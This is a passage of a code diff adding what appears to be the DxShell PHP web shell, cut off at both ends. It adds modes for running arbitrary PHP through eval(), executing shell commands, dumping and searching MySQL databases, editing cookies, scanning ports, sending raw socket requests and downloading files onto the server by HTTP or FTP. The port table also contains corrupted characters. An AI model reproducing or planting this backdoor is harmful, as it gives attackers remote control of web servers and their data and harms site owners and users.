class=radio>'.$cur_rad.'&nbsp;&nbsp;&nbsp;'; + print "\n".'<div align=right><input type=submit value="Search..." class=submit style="width:100pt;"></div>'; + print "\n".'</form>'; + + if (!isset($_POST['dxsqlsearch'])) die('</td></tr></table>'); + + if (empty($_POST['dxsqlsearch']['tables'])) die(DxError('No tables selected')); + + if (in_array($_POST['dxsqlsearch']['mode'], array('any', 'each'))) $_POST['dxsqlsearch']['txt']=explode(' ', mysql_real_escape_string($_POST['dxsqlsearch']['txt'])); + else $_POST['dxsqlsearch']['txt']=array($_POST['dxsqlsearch']['txt']); + + + $GLOBALFOUND=0; + foreach ($_POST['dxsqlsearch']['tables'] as $CUR_TABLE) + { $Q='SELECT * FROM `'.$CUR_TABLE.'` WHERE '; + $Q_ARR=array(); + DxMySQL_FetchResult(DxMySQLQ('SHOW COLUMNS FROM `'.$CUR_TABLE.'`;', true), $COLS, true); for ($i=0; $i<count($COLS);$i++) $COLS[$i]=$COLS[$i][0]; + foreach ($COLS as $CUR_COL) + { if (in_array($_POST['dxsqlsearch']['mode'], array('any', 'each', 'exact'))) + { for ($i=0;$i<count($_POST['dxsqlsearch']['txt']);$i++) + $Q_ARR[]=$CUR_COL.' LIKE "%'.($_POST['dxsqlsearch']['txt'][$i]).'%"'; + } + else $Q_ARR[]=$CUR_COL.' REGEXP '.$_POST['dxsqlsearch']['txt'][0]; + + if ($_POST['dxsqlsearch']['mode']=='each') + { $Q_ARR_EXACT[]=implode(' AND ', $Q_ARR); + $Q_ARR=array(); + } + } + if (in_array($_POST['dxsqlsearch']['mode'], array('any', 'exact'))) $Q.=implode(' OR ', $Q_ARR).';'; + if ($_POST['dxsqlsearch']['mode']=='each') $Q.=' ( '.implode(' ) OR ( ', $Q_ARR_EXACT).' );'; + if ($_POST['dxsqlsearch']['mode']=='regexp') $Q.=' ( '.implode(' ) OR ( ',$Q_ARR).' );'; + + /* $Q is ready */ + + if (($num=DxMySQL_FetchResult(DxMySQLQ($Q, true), $FETCHED, true))>0) + { + $GLOBALFOUND+=$num; print "\n\n".'<table border=0 cellspacing=0 cellpadding=0 align=center><caption>'.$num.' matched in '.$CUR_TABLE.' :</caption>'; + print "\n\t".'<tr><td class=listing><font class="highlight_txt">'.implode('</td><td class=listing><font class="highlight_txt">', $COLS).'</td></tr>'; + for ($l=0;$l<count($FETCHED);$l++) + { + print "\n\t".'<tr>'; + for ($i=0; $i<count($FETCHED[$l]); $i++) print '<td class="listing"> '.DxDecorVar($FETCHED[$l][$i], true).'</td>'; + print '</tr>'; + } + print "\n".'</table><br>'; + } + } + print "\n".'<br>Total: '.$GLOBALFOUND.' matches'; + + print "\n".'</td></tr></table>'; + } + +######## +######## SQL Dump +######## +if ($_GET['dxmode']=='SQLD') + { if (!isset($_GET['dxsql_s'], $_GET['dxsql_l'], $_GET['dxsql_p'], $_GET['dxsql_d'])) die(DxError('SQL server/login/password/database are not set')); + + if ((mysql_connect($_GET['dxsql_s'],$_GET['dxsql_l'],$_GET['dxsql_p'])===FALSE) or (mysql_errno()!=0)) + die(DxError('No connection to mysql server!'."\n".'<br>MySQL:#'.mysql_errno().' - '.mysql_error())); + else print '&gt;&gt; MySQL connected!'; + + if (!mysql_select_db($_GET['dxsql_d'])) + die(DxError('Can\'t select database!'."\n".'<br>MySQL:#'.mysql_errno().' - '.mysql_error())); + + print "\n".'<table border=0 cellspacing=0 cellpadding=0><tr><td class=h2_oneline><h2>DB:</h2></td>'; + print "\n".'<td class=linelisting><font class=highlight_txt>'.((empty($_GET['dxsql_d']))?'&lt;Server&gt;':$_GET['dxsql_d']).'</font></td></tr></table>'; + + print "\n".'<form action="'.DxURL('leave', '').'" method=POST>'; + print "\n".'<table border=0 cellspacing=0 cellpadding=0 width=100%>'; + print "\n".'<tr><td width=1% class=h2_oneline style="vertical-align:top;">'; + + DxMySQL_FetchResult(DxMySQLQ('SHOW TABLES;', true), $TABLES, true); + for ($i=0;$i<count($TABLES);$i++) $TABLES[$i]=$TABLES[$i][0]; + asort($TABLES); + + print "\n\t".'<SELECT MULTIPLE name="dxsql_tables[]" SIZE=30>'; + for ($i=0;$i<count($TABLES);$i++) + { + DxMySQL_FetchResult(DxMySQLQ('SELECT COUNT(*) FROM `'.$TABLES[$i].'`;', true), $TRowCnt, true); + if ($TRowCnt[0][0]>0) + print "\n\t".'<OPTION value="'.$TABLES[$i].'" SELECTED>'.$TABLES[$i].'</OPTION>'; + } + print "\n\t".'</SELECT>'; + print "\n".'</td><td width=100%>You can set a pre-dump-query(s) (ex: SET NAMES cp1251; ):'; + print "\n".'<input type=text name="dxsql_q" style="width:100%;">'; + print "\n".'<br>'; + print "\n".'<div align=right>' + .'GZIP <input type=checkbox name="dx_gzip" value="Yeah, baby">'.str_repeat('&nbsp;', 10) + .'<input type=submit value="Dump!" class=submit style="width:100pt;"></div>'; + print "\n".'</form>'; + } + + ################################### + +######## +######## PHP Console +######## +if ($_GET['dxmode']=='PHP') + { + if (isset($_GET['dxval'])) $_POST['dxval']=$_GET['dxval']; + + print "\n".'<table border=0 align=right><tr><td class=h2_oneline>Do</td><td class="linelisting">'; + $PRESETS=array_keys($GLOB['VAR']['PHP']['Presets']); + for ($i=0; $i<count($PRESETS);$i++) + print "\n\t".'<a href="'.DxURL('leave', 'dxmode').'&dxval=dxpreset__'.$PRESETS[$i].'" class=no>['.$PRESETS[$i].']</a>' + .( ($i==(count($PRESETS)-1))?'':str_repeat('&nbsp;',3) ); + print "\n\n".'</td></tr></table><br><br>'; + + if (isset($_POST['dxval'])) + if (strpos($_POST['dxval'], 'dxpreset__')===0) + { $_POST['dxval']=substr($_POST['dxval'], strlen('dxpreset__')); + if (!isset($GLOB['VAR']['PHP']['Presets'][$_POST['dxval']])) die(DxError('Undeclared preset')); + $_POST['dxval']=$GLOB['VAR']['PHP']['Presets'][$_POST['dxval']]; + } + + print "\n".'<form action="'.DxURL('leave', '').'" method=POST>'; + print "\n".'<textarea name="dxval" rows=15 style="width:100%;">'.((isset($_POST['dxval']))?$_POST['dxval']:'').'</textarea>'; + print "\n".'<div align=right><input type=submit value="Eval" class="submit" style="width:200pt;"></div>'; + print "\n".'</form>'; + if (isset($_POST['dxval'])) + { print str_repeat("\n", 10).'<!--php_eval-->'."\n\n".'<table border=0 width=100%><tr><td class=listing>'."\n\n"; + eval($_POST['dxval']); + print str_repeat("\n", 10).'<!--/php_eval-->'.'</td></tr></table>'; + } + } + + ################################### + +######## +######## Cookies Maintenance +######## +if ($_GET['dxmode']=='COOK') + { + if ($DXGLOBALSHIT) DxWarning('Set cookie may fail. This is because "'.basename($_SERVER['PHP_SELF']).'" has fucked up the output with it\'s shit =('); print 'Found <font class="highlight_txt">'.($CNT=count($_COOKIE)).' cookie'.(($CNT==1)?'':'s'); + + print "\n".'<div align=right><a href="'.DxURL('leave', '').'">[RELOAD]</a></div>'; + + print "\n".'<form action="'.DxURL('leave', '').'" method=POST>'; + print "\n".'<table border=0 align=center><tr><td class=linelisting><div align=center><font class="highlight_txt">Cookie name</td><td class=linelisting><div align=center><font class="highlight_txt">Value</td></tr>'; + for ($look_len=1, $maxlen=0; $look_len>=0;$look_len--) + { + if ($maxlen>100) $maxlen=100; + if ($maxlen<30) $maxlen=30; + $maxlen+=3; + for ($INDEXES=array_keys($_COOKIE), $i=0;$i<count($INDEXES);$i++) + { + if ($look_len) {if (strlen($_COOKIE[ $INDEXES[$i] ])>$maxlen) {$maxlen=strlen($_COOKIE[ $INDEXES[$i] ]);} continue;} + print "\n".'<tr><td class=linelisting>'.$INDEXES[$i].'</td>' + .'<td class=linelisting><input type=text ' + .'name="dxparam['.str_replace(array('"', "\n", "\r", "\t"), array('&quot;',' ',' ',' '), $INDEXES[$i]).']" ' + .'value="'.str_replace(array('"', "\n", "\r", "\t"), array('&quot;',' ',' ',' '), $_COOKIE[ $INDEXES[$i] ]).'" ' + .'SIZE='.$maxlen.'></td>' + .'</tr>'; + } + if (!$look_len) + { + print "\n".'<tr><td colspan=2><div align=center>[Set new cookie]</td></tr>'; + print "\n".'<tr><td class=linelisting><input type=text name="dxparam[DXS_NEWCOOK][NAM]" value="" style="width:99%;"></td>' + .'<td class=linelisting><input type=text name="dxparam[DXS_NEWCOOK][VAL]" value="" SIZE='.$maxlen.'></td>' + .'</tr>'; print "\n".'<tr><td class=linelisting colspan=2 style="text-align:center;">' + .'<input type=submit value="Save" class="submit" style="width:50%;">' + .'</td></tr>'; + } + } + print "\n".'</table></form>'; + } + + ################################### + +######## +######## Command line +######## +if ($_GET['dxmode']=='CMD') + { + print "\n".'<table border=0 align=right><tr><td class=h2_oneline>Do</td><td>'; + print "\n".'<SELECT name="selector" onchange="document.getElementById(\'dxval\').value+=document.getElementById(\'selector\').value+\'\n\'" style="width:200pt;">'; + print "\n\t".'<OPTION></OPTION>'; + $PRESETS=array_keys($GLOB['VAR']['CMD']['Presets']); + for ($i=0; $i<count($PRESETS);$i++) + print "\n\t".'<OPTION value="'.str_replace('"','&quot;',$GLOB['VAR']['CMD']['Presets'][ $PRESETS[$i] ]).'">'.$PRESETS[$i].'</OPTION>'; + print "\n\n".'</SELECT></td></tr></table><br><br>'; + + if (isset($_POST['dxval'])) + if (strpos($_POST['dxval'], 'dxpreset__')===0) + { + $_POST['dxval']=substr($_POST['dxval'], strlen('dxpreset__')); + if (!isset($GLOB['VAR']['CMD']['Presets'][$_POST['dxval']])) die(DxError('Undeclared preset')); + $_POST['dxval']=$GLOB['VAR']['CMD']['Presets'][$_POST['dxval']]; + } + + $warnstr=DxExecNahuj('',$trash1, $trash2); + if (!$warnstr[1]) DxWarning($warnstr[2]); print "\n".'<form action="'.DxURL('leave', '').'" method=POST>'; + print "\n".'<textarea name="dxval" rows=5 style="width:100%;">'.((isset($_POST['dxval']))?$_POST['dxval']:'').'</textarea>'; + print "\n".'<div align=right>' + .'<input type=submit value="Exec" class="submit" style="width:100pt;"> ' + .'</div>'; + print "\n".'</form>'; + if (isset($_POST['dxval'])) + { + $_POST['dxval']=split("\n", str_replace("\r", '', $_POST['dxval'])); + for ($i=0; $i<count($_POST['dxval']); $i++) + { + $CUR=$_POST['dxval'][$i]; + if (empty($CUR)) continue; + + DxExecNahuj($CUR,$OUT, $RET); + print str_repeat("\n", 10).'<!--'.$warnstr[2].'("'.$CUR.'")-->'."\n\n".'<table border=0 width=100%><tr><td class=listing>'."\n\n"; + + print '<span style="position:absolute;left:10%;" class="highlight_txt">Return</span>'; + print '<span style="position:absolute;right:30%;" class="highlight_txt">Output</span>'; + print '<br><nobr>'; + print "\n".'<textarea rows=10 style="width:20%;display:inline;">'.$CUR."\n\n".( (is_array($RET))?implode("\n", $RET):$RET).'</textarea>'; + print "\n".'<textarea rows=10 style="width:79%;display:inline;">'."\n".( (is_array($OUT))?implode("\n", $OUT):$OUT).'</textarea>'; + print '</nobr>'; + print str_repeat("\n", 10).'<!--/'.$warnstr[2].'("'.$CUR.'")-->'."\n\n".'</td></tr></table>'; + } + } + } + + ################################### + +######## +######## String functions +######## +if ($_GET['dxmode']=='STR') + { + if (isset($_POST['dxval'], $_POST['dxparam'])) + { $crypted=''; + if ($_POST['dxparam']=='md5') $crypted.=md5($_POST['dxval']); + if ($_POST['dxparam']=='sha1') $crypted.=sha1($_POST['dxval']); + if ($_POST['dxparam']=='crc32') $crypted.=crc32($_POST['dxval']); + if ($_POST['dxparam']=='2base') $crypted.=base64_encode($_POST['dxval']); + if ($_POST['dxparam']=='base2') $crypted.=base64_decode($_POST['dxval']); + if ($_POST['dxparam']=='2HEX') for ($i=0;$i<strlen($_POST['dxval']);$i++) $crypted.=strtoupper(dechex(ord($_POST['dxval'][$i]))).' '; + if ($_POST['dxparam']=='HEX2') {$_POST['dxval']=str_replace(' ','',$_POST['dxval']); for ($i=0;$i<strlen($_POST['dxval']);$i+=2) $crypted.=chr(hexdec($_POST['dxval'][$i].$_POST['dxval'][$i+1]));} + if ($_POST['dxparam']=='2DEC') {$crypted='CHAR('; for ($i=0;$i<strlen($_POST['dxval']); $i++) $crypted.=ord($_POST['dxval'][$i]).(($i<(strlen($_POST['dxval'])-1))?',':')');} + if ($_POST['dxparam']=='2URL') $crypted.=urlencode($_POST['dxval']); + if ($_POST['dxparam']=='URL2') $crypted.=urldecode($_POST['dxval']); + } + if (isset($crypted)) print $_POST['dxparam'].'(<font class="highlight_txt"> '.$_POST['dxval'].' </font>) = '; + print "\n".'<form action="'.DxURL('leave', '').'" method=POST>'; + print "\n".'<textarea name="dxval" rows=20 style="width:100%;">'.((isset($crypted))?$crypted:'').'</textarea>'; + print "\n".'<div align=right>' + .'<input type=submit name="dxparam" value="md5" class="submit" style="width:50pt;"> ' + .'<input type=submit name="dxparam" value="sha1" class="submit" style="width:50pt;"> ' + .'<input type=submit name="dxparam" value="crc32" class="submit" style="width:50pt;"> '.str_repeat('&nbsp;', 5) + .'<input type=submit name="dxparam" value="2base" class="submit" style="width:50pt;"> ' + .'<input type=submit name="dxparam" value="base2" class="submit" style="width:50pt;"> ' + .'<input type=submit name="dxparam" value="2HEX" class="submit" style="width:50pt;"> ' + .'<input type=submit name="dxparam" value="HEX2" class="submit" style="width:50pt;"> ' + .'<input type=submit name="dxparam" value="2DEC" class="submit" style="width:50pt;"> ' + .'<input type=submit name="dxparam" value="2URL" class="submit" style="width:50pt;"> ' + .'<input type=submit name="dxparam" value="URL2" class="submit" style="width:50pt;"> ' + .'</div>'; + print "\n".'</form>'; + } + +######## +######## Port scaner +######## +if ($_GET['dxmode']=='PRT') + { + print '[!] For complete portlist go to <a href="http://www.iana.org/assignments/port-numbers" target=_blank>http://www.iana.org/assignments/port-numbers</a>'; if (isset($_POST['dxportscan']) or isset($_GET['dxparam'])) + $DEF_PORTS=array (1=>'tcpmux (TCP Port Service Multiplexer)',2=>'Management Utility',3=>'Compression Process',5=>'rje (Remote Job Entry)',7=>'echo',9=>'discard',11=>'systat',13=>'daytime',15=>'netstat',17=>'quote of the day',18=>'send/rwp',19=>'character generator',20=>'ftp-data',21=>'ftp',22=>'ssh, pcAnywhere',23=>'Telnet',25=>'SMTP (Simple Mail Transfer)',27=>'ETRN (NSW User System FE)',29=>'MSG ICP',31=>'MSG Authentication',33=>'dsp (Display Support Protocol)',37=>'time',38=>'RAP (Route Access Protocol)',39=>'rlp (Resource Location Protocol)',41=>'Graphics',42=>'nameserv, WINS',43=>'whois, nickname',44=>'MPM FLAGS Protocol',45=>'Message Processing Module [recv]',46=>'MPM [default send]',47=>'NI FTP',48=>'Digital Audit Daemon',49=>'TACACS, Login Host Protocol',50=>'RMCP, re-mail-ck',53=>'DNS',57=>'MTP (any private terminal access)',59=>'NFILE',60=>'Unassigned',61=>'NI MAIL',62=>'ACA Services',63=>'whois++',64=>'Communications Integrator (CI)',65=>'TACACS-Database Service',66=>'Oracle SQL*NET',67=>'bootps (Bootstrap Protocol Server)',68=>'bootpd/dhcp (Bootstrap Protocol Client)',69=>'Trivial File Transfer Protocol (tftp)',70=>'Gopher',71=>'Remote Job Service',72=>'Remote Job Service',73=>'Remote Job Service',74=>'Remote Job Service',75=>'any private dial out service',76=>'Distributed External Object Store',77=>'any private RJE service',78=>'vettcp',79=>'finger',80=>'World Wide Web HTTP',81=>'HOSTS2 Name Serve',82=>'XFER Utility',83=>'MIT ML Device',84=>'Common Trace Facility',85=>'MIT ML Device',86=>'Micro Focus Cobol',87=>'any private terminal link',88=>'Kerberos, WWW',89=>'SU/MIT Telnet Gateway',90=>'DNSIX Securit Attribute Token Map',91=>'MIT Dover Spooler',92=>'Network Printing Protocol',93=>'Device Control Protocol',94=>'Tivoli Object Dispatcher',95=>'supdup',96=>'DIXIE',98=>'linuxconf',99=>'Metagram Relay',100=>'[unauthorized use]',101=>'HOSTNAME',102=>'ISO, X.400, ITOT',103=>'Genesis Point-to&#14144;&#429;oi&#65535;&#65535; T&#0;&#0;ns&#0;&#0;et',104=>'ACR-NEMA Digital Imag. & Comm. 300',105=>'CCSO name server protocol',106=>'poppassd',107=>'Remote Telnet Service',108=>'SNA Gateway Access Server',109=>'POP2',110=>'POP3',111=>'Sun RPC Portmapper',112=>'McIDAS Data Transmission Protocol',113=>'Authentication Service',115=>'sftp (Simple File Transfer Protocol)',116=>'ANSA REX Notify',117=>'UUCP Path Service',118=>'SQL Services',119=>'NNTP',120=>'CFDP',123=>'NTP',124=>'SecureID',129=>'PWDGEN',133=>'statsrv',135=>'loc-srv/epmap',137=>'netbios-ns',138=>'netbios-dgm (UDP)',139=>'NetBIOS',143=>'IMAP',144=>'NewS',150=>'SQL-NET',152=>'BFTP',153=>'SGMP',156=>'SQL Service',161=>'SNMP',175=>'vmnet',177=>'XDMCP',178=>'NextStep Window Server',179=>'BGP',180=>'SLmail admin',199=>'smux',210=>'Z39.50',213=>'IPX',218=>'MPP',220=>'IMAP3',256=>'RAP',257=>'Secure Electronic Transaction',258=>'Yak Winsock Personal Chat',259=>'ESRO',264=>'FW1_topo',311=>'Apple WebAdmin',350=>'MATIP type A',351=>'MATIP type B',363=>'RSVP tunnel',366=>'ODMR (On-Demand Mail Relay)',371=>'Clearcase',387=>'AURP (AppleTalk Update-Based Routing Protocol)',389=>'LDAP',407=>'Timbuktu',427=>'Server Location',434=>'Mobile IP',443=>'ssl',444=>'snpp, Simple Network Paging Protocol',445=>'SMB',458=>'QuickTime TV/Conferencing',468=>'Photuris',475=>'tcpnethaspsrv',500=>'ISAKMP, pluto',511=>'mynet-as',512=>'biff, rexec',513=>'who, rlogin',514=>'syslog, rsh',515=>'lp, lpr, line printer',517=>'talk',520=>'RIP (Routing Information Protocol)',521=>'RIPng',522=>'ULS',531=>'IRC',543=>'KLogin, AppleShare over IP',545=>'QuickTime',548=>'AFP',554=>'Real Time Streaming Protocol',555=>'phAse Zero',563=>'NNTP over SSL',575=>'VEMMI',581=>'Bundle Discovery Protocol',593=>'MS-RPC',608=>'SIFT/UFT',626=>'Apple ASIA',631=>'IPP (Internet Printing Protocol)',635=>'RLZ DBase',636=>'sldap',642=>'EMSD',648=>'RRP (NSI Registry Registrar Protocol)',655=>'tinc',660=>'Apple MacOS Server Admin',666=>'Doom',674=>'ACAP',687=>'AppleShare IP Registry',700=>'buddyphone',705=>'AgentX for SNMP',901=>'swat, realsecure',993=>'s-imap',995=>'s-pop',1024=>'Reserved',1025=>'network blackjack',1062=>'Veracity',1080=>'SOCKS',1085=>'WebObjects',1227=>'DNS2Go',1243=>'SubSeven',1338=>'Millennium Worm',1352=>'Lotus Notes',1381=>'Apple Network License Manager',1417=>'Timbuktu Service 1 Port',1418=>'Timbuktu Service 2 Port',1419=>'Timbuktu Service 3 Port',1420=>'Timbuktu Service 4 Port',1433=>'Microsoft SQL Server',1434=>'Microsoft SQL Monitor',1477=>'ms-sna-server',1478=>'ms-sna-base',1490=>'insitu-conf',1494=>'Citrix ICA Protocol',1498=>'Watcom-SQL',1500=>'VLSI License Manager',1503=>'T.120',1521=>'Oracle SQL',1522=>'Ricardo North America License Manager',1524=>'ingres',1525=>'prospero',1526=>'prospero',1527=>'tlisrv',1529=>'oracle',1547=>'laplink',1604=>'Citrix ICA, MS Terminal Server',1645=>'RADIUS Authentication',1646=>'RADIUS Accounting',1680=>'Carbon Copy',1701=>'L2TP/LSF',1717=>'Convoy',1720=>'H.323/Q.931',1723=>'PPTP control port',1731=>'MSICCP',1755=>'Windows Media .asf',1758=>'TFTP multicast',1761=>'cft-0',1762=>'cft-1',1763=>'cft-2',1764=>'cft-3',1765=>'cft-4',1766=>'cft-5',1767=>'cft-6',1808=>'Oracle-VP2',1812=>'RADIUS server',1813=>'RADIUS accounting',1818=>'ETFTP',1973=>'DLSw DCAP/DRAP',1985=>'HSRP',1999=>'Cisco AUTH',2001=>'glimpse',2049=>'NFS',2064=>'distributed.net',2065=>'DLSw',2066=>'DLSw',2106=>'MZAP',2140=>'DeepThroat',2301=>'Compaq Insight Management Web Agents',2327=>'Netscape Conference',2336=>'Apple UG Control',2427=>'MGCP gateway',2504=>'WLBS',2535=>'MADCAP',2543=>'sip',2592=>'netrek',2727=>'MGCP call agent',2628=>'DICT',2998=>'ISS Real Secure Console Service Port',3000=>'Firstclass',3001=>'Redwood Broker',3031=>'Apple AgentVU',3128=>'squid',3130=>'ICP',3150=>'DeepThroat',3264=>'ccmail',3283=>'Apple NetAssitant',3288=>'COPS',3305=>'ODETTE',3306=>'mySQL',3389=>'RDP Protocol (Terminal Server)',3521=>'netrek',4000=>'icq, command-n-conquer and shell nfm',4321=>'rwhois',4333=>'mSQL',4444=>'KRB524',4827=>'HTCP',5002=>'radio free ethernet',5004=>'RTP',5005=>'RTP',5010=>'Yahoo! Messenger',5050=>'multimedia conference control tool',5060=>'SIP',5150=>'Ascend Tunnel Management Protocol',5190=>'AIM',5500=>'securid',5501=>'securidprop',5423=>'Apple VirtualUser',5555=>'Personal Agent',5631=>'PCAnywhere data',5632=>'PCAnywhere',5678=>'Remote Replication Agent Connection',5800=>'VNC',5801=>'VNC',5900=>'VNC',5901=>'VNC',6000=>'X Windows',6112=>'BattleNet',6502=>'Netscape Conference',6667=>'IRC',6670=>'VocalTec Internet Phone, DeepThroat',6699=>'napster',6776=>'Sub7',6970=>'RTP',7007=>'MSBD, Windows Media encoder',7070=>'RealServer/QuickTime',7777=>'cbt',7778=>'Unreal',7648=>'CU-SeeMe',7649=>'CU-SeeMe',8000=>'iRDMI/Shoutcast Server',8010=>'WinGate 2.1',8080=>'HTTP',8181=>'HTTP',8383=>'IMail WWW',8875=>'napster',8888=>'napster',8889=>'Desktop Data TCP 1',8890=>'Desktop Data TCP 2',8891=>'Desktop Data TCP 3: NESS application',8892=>'Desktop Data TCP 4: FARM product',8893=>'Desktop Data TCP 5: NewsEDGE/Web application',8894=>'Desktop Data TCP 6: COAL application',9000=>'CSlistener',10008=>'cheese worm',11371=>'PGP 5 Keyserver',13223=>'PowWow',13224=>'PowWow',14237=>'Palm',14238=>'Palm',18888=>'LiquidAudio',21157=>'Activision',22555=>'Vocaltec Web Conference',23213=>'PowWow',23214=>'PowWow',23456=>'EvilFTP',26000=>'Quake',27001=>'QuakeWorld',27010=>'Half-Life',27015=>'Half-Life',27960=>'QuakeIII',30029=>'AOL Admin',31337=>'Back Orifice',32777=>'rpc.walld',45000=>'Cisco NetRanger postofficed',32773=>'rpc bserverd',32776=>'rpc.spray',32779=>'rpc.cmsd',38036=>'timestep',40193=>'Novell',41524=>'arcserve discovery',); + + if (isset($_GET['dxparam'])) + { print "\n".'<table><tr><td class=listing colspan=2><h2>#Scan main will scan these '.count($DEF_PORTS).' ports:</td></tr>'; + $INDEXES=array_keys($DEF_PORTS); + for ($i=0;$i<count($INDEXES);$i++) + print "\n".'<tr><td width=40 class=listing style="text-align:right;">'.$INDEXES[$i].'</td><td class=listing>'.$DEF_PORTS[ $INDEXES[$i] ].'</td></tr>'; + print "\n".'</table>'; + die(); + } + + if (isset($_POST['dxportscan'])) + { $OKAY_PORTS = 0; + $TOSCAN=array(); + + if ($_POST['dxportscan']['ports']=='#default') $TOSCAN=array_keys($DEF_PORTS); + else + { $_POST['dxportscan']['ports']=explode(',',$_POST['dxportscan']['ports']); + for ($i=0;$i<count($_POST['dxportscan']['ports']);$i++) + { $_POST['dxportscan']['ports'][$i]=explode('-',$_POST['dxportscan']['ports'][$i]); + if (count($_POST['dxportscan']['ports'][$i])==1) $TOSCAN[]=$_POST['dxportscan']['ports'][$i][0]; + else + $TOSCAN+=range($_POST['dxportscan']['ports'][$i][0], $_POST['dxportscan']['ports'][$i][1]); + $_POST['dxportscan']['ports'][$i]=implode('-', $_POST['dxportscan']['ports'][$i]); + } + $_POST['dxportscan']['ports']=implode(',',$_POST['dxportscan']['ports']); + } + + print "\n".'<table><tr><td colspan=2><font class="highlight_txt">Opened ports:</td></tr>'; + list($usec, $sec) = explode(' ', microtime()); + $start=(float)$usec + (float)$sec; + for ($i=0;$i<count($TOSCAN);$i++) + { $cur_port=&$TOSCAN[$i]; + $fp=@fsockopen($_POST['dxportscan']['host'], $cur_port, $e, $e, (float)$_POST['dxportscan']['timeout']); + if ($fp) + { $OKAY_PORTS++; + $port_name=''; + if (isset($DEF_PORTS[$cur_port])) $port_name=$DEF_PORTS[$cur_port]; + print "\n".'<tr><td width=50 class=listing style="text-align:right;">'.$cur_port.'</td><td class=listing>'.$port_name.'</td><td class=listing>'.getservbyport($cur_port, 'tcp').'</td></tr>'; + } + } + list($usec, $sec) = explode(' ', microtime()); + $end=(float)$usec + (float)$sec; + + print "\n".'</table>'; + print "\n".'<font class="highlight_txt">Scanned '.count($TOSCAN).', '.$OKAY_PORTS.' opened. Time: '.($end-$start).'</font>'; + print "\n".'<br><hr>'."\n"; + } + + print "\n".'<form action="'.DxURL('leave', '').'" method=POST>'; + print "\n".'<table border=0>' + .'<tr>' + .'<td colspan=2>' + .'<input type=text name="dxportscan[host]" value="'.((isset($_POST['dxportscan']['host']))?$_POST['dxportscan']['host'].'"':'127.0.0.1"').' SIZE=30>' + .'<input type=text name="dxportscan[timeout]" value="'.((isset($_POST['dxportscan']['timeout']))?$_POST['dxportscan']['timeout'].'"':'0.1"').' SIZE=10>' + .'</tr><tr>' + .'<td><textarea name="dxportscan[ports]" rows=3 cols=50>'.((isset($_POST['dxportscan']['ports']))?$_POST['dxportscan']['ports']:'21-25,35,80,3306').'</textarea>' + .'</td><td>' + .'<input type=checkbox name="dxportscan[ports]" value="#default"><a '.DxDesign_DrawBubbleBox('', 'To learn out what "main ports" are, click here', 300).' href="'.DxURL('kill','dxparam').'&dxparam=main_legend">#Scan main</a>' + .'<br><input type=submit value="Scan" class="submit" style="width:100pt;">' + .'</tr></table></form>'; + } + +######## +######## Raw s0cket +######## +if ($_GET['dxmode']=='SOCK') + { + $DEFQUERY=DxHTTPMakeHeaders('GET', '/index.php?get=q&get2=d', 'www.microsoft.com', 'DxS Browser', 'http://referer.com/', array('post_val' => 'Yeap'), array('cookiename' => 'val')); + print "\n".'<form action="'.DxURL('leave', '').'" method=POST>'; print "\n".'<table width=100% cellspacing=0 celpadding=0>'; + print "\n".'<tr><td class=linelisting colspan=2 width=100%><input type=text name="dxsock_host" value="'.( (isset($_POST['dxsock_host'])?$_POST['dxsock_host']:'www.microsoft.com') ).'" style="width:100%;">'; + print "\n".'</td><td class=linelisting><nobr><input type=text name="dxsock_port" value="'.( (isset($_POST['dxsock_port'])?$_POST['dxsock_port']:'80') ).'" SIZE=10>' + .' timeout <input type=text name="dxsock_timeout" value="'.( (isset($_POST['dxsock_timeout'])?$_POST['dxsock_timeout']:'1.0') ).'" SIZE=4></td></tr>'; + print "\n".'<tr><td class=linelisting colspan=3>' + .'<textarea ROWS=15 name="dxsock_request" style="width:100%;">'.( (isset($_POST['dxsock_request'])?$_POST['dxsock_request']:$DEFQUERY) ).'</textarea>' + .'</td></tr>'; + print "\n".'<tr>' + .'<td class=linelisting width=50pt><input type=radio name="dxsock_type" value="HTML" '.( (isset($_POST['dxsock_type'])? (($_POST['dxsock_type']=='HTML')?'CHECKED':'') :'CHECKED') ).'>HTML</td>' + .'<td class=linelisting width=50pt><input type=radio name="dxsock_type" value="TEXT" '.( (isset($_POST['dxsock_type'])? (($_POST['dxsock_type']=='TEXT')?'CHECKED':'') :'') ).'>TEXT</td>' + .'<td class=linelisting width=100%><div align=right><input type=submit class=submit value="Send" style="width:100pt;height:20pt;"></td>' + .'</tr>'; + print "\n".'</table>'; + + if (!isset($_POST['dxsock_host'], $_POST['dxsock_port'], $_POST['dxsock_timeout'], $_POST['dxsock_request'], $_POST['dxsock_type'])) die(); + + print "\n".'<table width=100% cellspacing=0 celpadding=0>'; + print "\n".'<tr><td class=listing><pre><font class=highlight_txt>'.$_POST['dxsock_request'].'</font></pre></td></tr>'; + print "\n\n\n".'<tr><td class=listing>'; + + $fp=@fsockopen($_POST['dxsock_host'], $_POST['dxsock_port'], $errno, $errstr, (float)$_POST['dxsock_timeout']); + if (!$fp) die(DxError('Sock #'.$errno.' : '.$errstr)); + + if ($_POST['dxsock_type']=='TEXT') print '<plaintext>'; + + if (!empty($_POST['dxsock_request'])) fputs($fp, $_POST['dxsock_request']); + $ret=''; + while (!feof($fp)) $ret.=fgets($fp, 4096 ); + fclose( $fp ); + + if ($_POST['dxsock_type']=='HTML') $headers_over_place=strpos($ret,"\r\n\r\n"); else $headers_over_place=FALSE; + + if ($headers_over_place===FALSE) print $ret; + else print '<pre>'.substr($ret, 0, $headers_over_place).'</pre><br><hr><br>'.substr($ret, $headers_over_place); + + if ($_POST['dxsock_type']=='HTML') print "\n".'</td></tr></table>'; + } + +######## +######## FTP, HTTP file transfers +######## +if ($_GET['dxmode']=='FTP') + { print "\n".'<table align=center width=100%><col span=3 align=right width=33%><tr><td align=center><font class="highlight_txt"><b>HTTP Download</td><td align=center><font class="highlight_txt"><b>FTP Download</td><td align=center><font class="highlight_txt"><b>FTP Upload</td></tr>'; + + print "\n".'<tr><td>'; /* HTTP GET */ + print "\n\t".'<form action="'.DxURL('leave', '').'" method=POST>'; + print "\n\t".'<input type=text name="DxFTP_HTTP" value="http://" style="width:100%;">'; + print "\n\t".'<input type=text name="DxFTP_FileTO" value="'.((isset($_GET['dxdir'])?$_GET['dxdir']:DxFileOkaySlashes(realpath($GLOB['FILES']['CurDIR'])))).'/file.txt" style="width:100%;">'; + print "\n\t".'<input type=submit value="GET!" style="width:150pt;" class=submit></form>'; + print "\n".'</td><td>'; /* FTP DOWNL */ + print "\n\t".'<form action="'.DxURL('leave', '').'" method=POST>'; + print "\n\t".'<input type=text name="DxFTP_FTP" value="ftp.host.com[:21]" style="width:100%;">'; + print "\n\t".'<nobr><b>Login:<input type=text name="DxFTP_USER" value="Anonymous" style="width:40%;"> / <input 